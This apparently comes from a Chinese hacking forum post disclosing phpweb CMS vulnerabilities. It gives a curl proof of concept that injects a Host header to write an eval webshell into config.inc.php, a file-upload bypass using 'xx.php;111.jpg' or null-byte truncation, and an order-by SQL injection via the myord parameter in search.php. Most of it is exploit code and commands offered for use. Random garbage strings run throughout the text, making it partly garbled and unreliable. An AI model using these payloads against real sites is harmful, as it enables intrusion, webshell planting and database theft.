中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
% \; Y9 e: N* d
) S+ J# C1 \' \& w之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
: ]0 L# X9 n( M & \3 }) b/ F6 ]' J) W1 L" n7 R4 Q
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件" p  N2 t% t' A
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
! @8 c* m" X4 L8 d / @( [* [: B- R+ s9 e: F
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
) J; y; K; }+ E- Q 9 R. C- S4 Z& b: d9 ], \
分析:
. H5 k5 o/ w& o2 f
0 {' m8 W9 x. n, c( u, C5 o
7 G* F* J8 X6 I$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤  x9 @. G9 X  i8 ]1 C

: C0 z1 H8 w; X+ X                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
) [9 k; k% P8 k% T8 O$ j0 A                                            $filestr=str_replace(" ","",$filestr);
6 e( y) |' _$ m5 |* x0 q9 a) v0 u+ ?                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);! E" j* `0 e: n. q0 d% K9 i' B' H
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
. Y6 B7 ^+ V  V                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);; t0 P$ S3 i: j6 j4 A! P3 H
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);* b; k( H+ o1 b, L2 ]4 U1 x
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);$ f, h0 P5 S. n. [9 M. g
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);$ Q5 l) R& U; m; Z
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);8 m; [! }; C: g, K  T9 Q% m
6 G; c# O1 v6 ]7 u+ C/ ]; m
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
! O; F- M' L1 b- ^, M7 f  R& ]$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^, \6 {& s0 Q$ N; F/ V1 T2 B

3 T% v2 G6 F6 w; Z% z3 ^- v8 Kpoc:# f  T3 q+ |' u

$ d/ v1 N! v( O  F3 i?
2 O1 ~* x( b% q& d/ t; C' i1
' f+ v7 [1 t$ S3 I. C2 M& W* ~curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"7 a7 l& S0 T! f, i
shell地址: /config.inc.php
7 O1 G1 _7 }+ y跟之前的 phpcms一样 需要远程数据库3 x& M$ j$ j1 M( @& K

$ V/ b5 Q" a% p8 [- h——————————————————–% F" ]* T, s; W$ S* B# j
上传漏洞(需要进后台):
7 W1 a3 V# _; @6 ~# S# R' @漏洞文件: /kedit/upload_cgi/upload.php' G9 p7 q5 ?3 ?  f
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
; Y7 v3 X7 m( O& Z
2 I$ j* R8 L: ]2 Q, ^5 i
0 f1 ?! y' T; P1 B1 l<?php
: i% @; h5 W9 E9 }    define("ROOTPATH", "../../");. G  o3 Y' e! u; d1 u  h% t
    include(ROOTPATH."includes/admin.inc.php");
# J/ ^* G: _$ m9 @    NeedAuth(0);
3 r& b* P" ]  \1 t! t # _4 O  f4 P2 H$ K2 A. S
    $dt=date("Ymd",time());" ^6 T3 d# c2 x9 M' B5 z$ @) R3 F
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){, q- l( [7 L+ P9 f0 T& S
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
6 I8 a+ a+ j- N* u" F2 h    }
  P) m. x* V# l* N 7 _8 `7 U- s% E, L: a4 w7 h& ?
    //文件保存目录路径
9 u/ I) O% }; C. t2 C    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
% T. p4 H. V; Z  ~    echo $save_path;4 J7 s4 [9 m  @
    //文件保存目录URL: C( a- ]( G3 M" I2 G! p
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
# Y! ~6 V- y* U1 @* H
; Q5 Y, I; [/ D    //定义允许上传的文件扩展名+ K& z" @0 m$ F6 D, h0 q3 O; j! P; S3 w# a
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
* j$ ]- z8 ]1 g. v/ S
7 ?! e1 U4 q3 P0 ~7 m    //最大文件大小
% K' |6 M6 c! s/ h$ `" E    $max_size = 1000000;
" L/ o8 s7 P$ ?, \ ' D  g! R+ D7 c
    //更改目录权限
$ Z  s9 a1 o& w0 F; b' P& l    @mkdir($save_path, 0777);
+ x! x4 [% I# e- g" r* t ; @, F: }, y, R4 D( i6 f
    //文件的全部路径* o+ q" ?; L" {& i1 x
    $file_path = $save_path.$_POST['fileName'];   //保存文件名7 j* h' c0 E( d4 z" O

6 \) J: C6 _7 ^    //文件URL
) v/ W+ j( e, H" f& |8 Z    $file_url = $save_url.$_POST['fileName'];& i( S$ {  F1 K( E% ?0 N
//有上传文件时9 ~' Z7 [9 L8 v7 r- p# Q6 L
    if (empty($_FILES) === false) {/ R( \6 V# ?* H/ `5 h

9 R1 U9 b' @, A2 J. M5 G7 o' H            //原文件名
" c+ J- |% |8 g( f            $file_name = $_FILES['fileData']['name'];
$ Z* a- f6 e' \/ ]            //服务器上临时文件名0 w4 ~  I9 @8 h3 u
            $tmp_name = $_FILES['fileData']['tmp_name'];" S) Y% R$ J5 R6 @% [
            //文件大小' o& o1 c& F& M: l: d
            $file_size = $_FILES['fileData']['size'];
& J- g3 ?4 z7 u4 h9 e: k            //检查目录' C8 l1 o- @3 t+ x
            if (@is_dir($save_path) === false) {
$ d& I/ G. D/ S# f. C- i& V                    alert("上传目录不存在。");8 L% j" E( B# R6 ?" x, E( m
            }
& j# A- v7 ?- I) |& x" V) o            //检查目录写权限1 j% b0 d/ F7 a
            if (@is_writable($save_path) === false) {7 v$ I1 t& w# D5 x) a( P
                    alert("上传目录没有写权限。");
+ K3 [: N7 [7 L: B5 ^' e            }' l; [/ \3 V8 M$ E
            //检查是否已上传* p+ u! u& n9 X
            if (@is_uploaded_file($tmp_name) === false) {
3 Z% y# q! [6 U$ i5 B7 [4 K2 {                    alert("临时文件可能不是上传文件。");: E7 C5 `% e- s5 w
            }
# k( `! G7 [7 O5 k* H" {8 ]% X            //检查文件大小% S. `$ `# ]* {, O3 H
            if ($file_size > $max_size) {" v2 U+ ~9 A6 x" r$ L! T
                    alert("上传文件大小超过限制。");  I8 |) w+ s. r. H' s! Z
            }* M8 }+ l. a1 M5 {$ W& i3 q0 h
            //获得文件扩展名
8 X7 R+ `* }/ h! M7 c            $temp_arr = explode(".", $_POST['fileName']);
6 v# ~0 l; N& l7 [( V            $file_ext = array_pop($temp_arr);3 F! {  b) v" q
            $file_ext = trim($file_ext);
& y2 D% a3 \) c5 Z2 S* m. U" o9 F1 N            $file_ext = strtolower($file_ext);  _' o9 ^% w# |; F) t% P

% l; v& i) z8 J7 m+ R            //检查扩展名   , W8 n# Y" ]  ]& \5 R6 ~! t# K
            if (in_array($file_ext, $ext_arr) === false) {     
" N9 A+ A( Q' [5 {+ {. ^                    alert("上传文件扩展名是不允许的扩展名。");9 \9 S( _6 g& ]# \5 w5 g% f  c
            }
6 ]- {( ^3 R5 U6 e # v/ ]6 Q) m/ ?: b, N
            //移动文件   . [7 h" |2 R% G3 _. N9 I
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
) X. j6 ?! |' S1 Z8 L            if (move_uploaded_file($tmp_name, $file_path) === false) {
( m) O; z7 d% V                    alert("上传文件失败。");
1 x+ L7 A2 F% r& f, y" @+ x/ {            }3 o3 |3 J+ E0 Q0 K# d) z* [, N
( ^  ?7 @, N" x" H! A; i
            @chmod($file_path,0666);
; I$ T7 t( `, [" ^* F 7 O. k0 x  }+ N( }+ q1 y6 h
    ?>7 q* O# f1 b  ?# W1 q* W# \0 h
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2273 ~3 r! ^+ q$ ]0 X0 O" b! j
1 w4 D& b" v* r0 w
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过/ y5 s7 Y( z: F2 I  x0 V- ?
( g' y. M& z/ N9 [: K( W7 A! Y
——————————————————
9 k$ V1 t6 G- ~+ h  w注入漏洞:; b, o( k% Y* @4 ]2 P: q
漏洞文件:search/module/search.php
. H1 C# C( S; I4 u- ~/search/index.php?key=1&myord=1 [sqlinjection]
; {8 s/ G' V5 q" O8 t3 @- b/ C: n* ^
  `2 I" @3 D- U2 V+ J 6 j( w( u$ Z) {) ^, c: ?# Y- X' q, O
<?php
& G; |. H; n+ o; k' d  P3 a4 e0 o   //       ... 省略 n 行...
) U& Q" c1 j) G  S5 V3 @" ?4 d   //第18行:
5 w- H" V2 }# E           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响. g7 a# j# }* _7 c6 `7 O! ]
           $page=htmlspecialchars($_GET["page"]);
% s- J2 l2 f( J6 d" ^3 ^           $myord=htmlspecialchars($_GET["myord"]);- y4 m& a# J  k( M# t/ H

+ v. n8 ^: ^7 c   //       ... 省略 n 行...
& O: F; v5 w, r: r9 @$ z: \   $key,$myord 两个参数带入查询
8 v. Q7 h) Q, s4 O) Q6 h4 h. C   //第47行 $key:" \6 a4 z& y3 M/ `

/ N0 `' c- X" l# I, L- Y& s7 `   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
4 K$ W$ x( ?* L- O& [0 C" d
+ k& x' z2 o( w6 w# g, I   //第197行 $myord% r5 Z' E( V0 |# L
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
8 m2 i- T8 l* q  l0 w / t  C- K, m/ O
   ?>
& O! f4 ^& Z7 P




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2